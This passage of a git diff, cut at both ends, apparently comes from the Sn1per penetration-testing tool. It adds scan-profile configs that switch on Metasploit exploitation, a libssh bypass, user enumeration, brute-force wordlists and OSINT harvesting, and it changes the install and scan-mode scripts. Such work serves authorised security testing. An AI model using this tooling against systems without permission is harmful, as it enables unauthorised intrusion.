,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="0" +METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="0" +SHOW_MOUNT="0" +RPC_INFO="0" +SMB_ENUM="0" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="0" +GOOHAK="0" +INURLBR="0" +THEHARVESTER="0" +METAGOOFIL="0" +HUNTERIO="0" +INTODNS="0" +EMAILFORMAT="0" +ULTRATOOLS="0" +URLCRAZY="0" +VHOSTS="0" +H8MAIL="0" +GITHUB_SECRETS="0" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +DIRSEARCH="0" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="0" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="0" +WHATWEB="0" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="0" +SSL_INSECURE="0" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="0" +WEB_BRUTE_COMMONSCAN="0" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="0" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="0" +SSL="0" +PASSIVE_SPIDER="0" +HACKERTARGET="0" +GUA="0" +CUTYCAPT="0" +WEBSCREENSHOT="0" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="0" +AQUATONE="0" +SLURP="0" +SUBLIST3R="0" +AMASS="0" +SUBFINDER="0" +DNSCAN="0" +CRTSH="0" +SUBOVER="0" +PROJECT_SONAR="0" +CENSYS_SUBDOMAINS="0" +SUBNET_RETRIEVAL="0" +SUBJACK="0" +ALT_DNS="0" +MASS_DNS="0" +DNSGEN="0" +SHODAN="0" +ASN_CHECK="0" +SPYSE="0" +SUBBRUTE_DNS="0" +RAPIDDNS="0" \ No newline at end of file diff --git a/conf/zap_only_webscan b/conf/zap_only_webscan new file mode 100644 index 0000000..7068f15 --- /dev/null +++ b/conf/zap_only_webscan @@ -0,0 +1,214 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="--script-args http.useragent='' --open" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="1" +SSH_ENUM="1" +LIBSSH_BYPASS="1" +SMTP_USER_ENUM="1" +FINGER_TOOL="1" +SHOW_MOUNT="1" +RPC_INFO="1" +SMB_ENUM="1" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="1" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="1" +METAGOOFIL="1" +HUNTERIO="1" +INTODNS="1" +EMAILFORMAT="1" +ULTRATOOLS="1" +URLCRAZY="1" +VHOSTS="1" +H8MAIL="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="0" +ARACHNI_SCAN="0" +ZAP_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="1" +WHATWEB="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="1" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="0" +AQUATONE="0" +SLURP="0" +SUBLIST3R="1" +AMASS="1" +SUBFINDER="1" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="1" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="1" +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/install.sh b/install.sh index 7192011..103dca7 100755 --- a/install.sh +++ b/install.sh @@ -151,6 +151,8 @@ cd ~/go/bin/;go get -u github.com/Ice3man543/SubOver; mv SubOver /usr/local/bin/ GO111MODULE=on go get -u github.com/theblackturtle/fprobe; ln -s ~/go/bin/fprobe /usr/bin/fprobe go get github.com/harleo/asnip ln -s ~/go/bin/asnip /usr/bin/asnip 2>/dev/null +GO111MODULE=on go get -u -v github.com/lc/gau +ln -s /root/go/bin/gau /usr/bin/gau2 rm -Rf ~/go/src/amass* wget https://github.com/OWASP/Amass/releases/download/v3.5.4/amass_v3.5.4_linux_amd64.zip -O ~/go/src/amass.zip cd ~/go/src/ diff --git a/modes/discover.sh b/modes/discover.sh index 5dffd49..45bee4d 100644 --- a/modes/discover.sh +++ b/modes/discover.sh @@ -65,6 +65,7 @@ if [[ "$MODE" = "discover" ]]; then echo "" echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt " echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE $RESET" + source modes/sc0pe.sh echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" diff --git a/modes/flyover.sh b/modes/flyover.sh index aa5c543..c42f2fd 100644 --- a/modes/flyover.sh +++ b/modes/flyover.sh @@ -60,8 +60,8 @@ if [[ "$MODE" = "flyover" ]]; then wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null - curl --connect-timeout 5 -I -s -R http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null & - curl --connect-timeout 5 -I -s -R https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null & + curl --connect-timeout 5 -I -s -R --insecure http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null & + curl --connect-timeout 5 -I -s -R --insecure https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null & webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null & webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null & @@ -107,8 +107,8 @@ if [[ "$MODE" = "flyover" ]]; then if [[ ${#HOST_UP} -ge 2 ]]; then echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null fi - for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do - echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt + for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do + echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt done cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null diff --git a/modes/fullportonly.sh b/modes/fullportonly.sh index cefcf37..c01a25f 100644 --- a/modes/fullportonly.sh +++ b/modes/fullportonly.sh @@ -59,8 +59,9 @@ if [[ "$MODE" = "fullportonly" ]]; then sed -r "s/ /dev/null > $LOOT_DIR/nmap/nmap-$TARGET-udp.txt 2> /dev/null rm 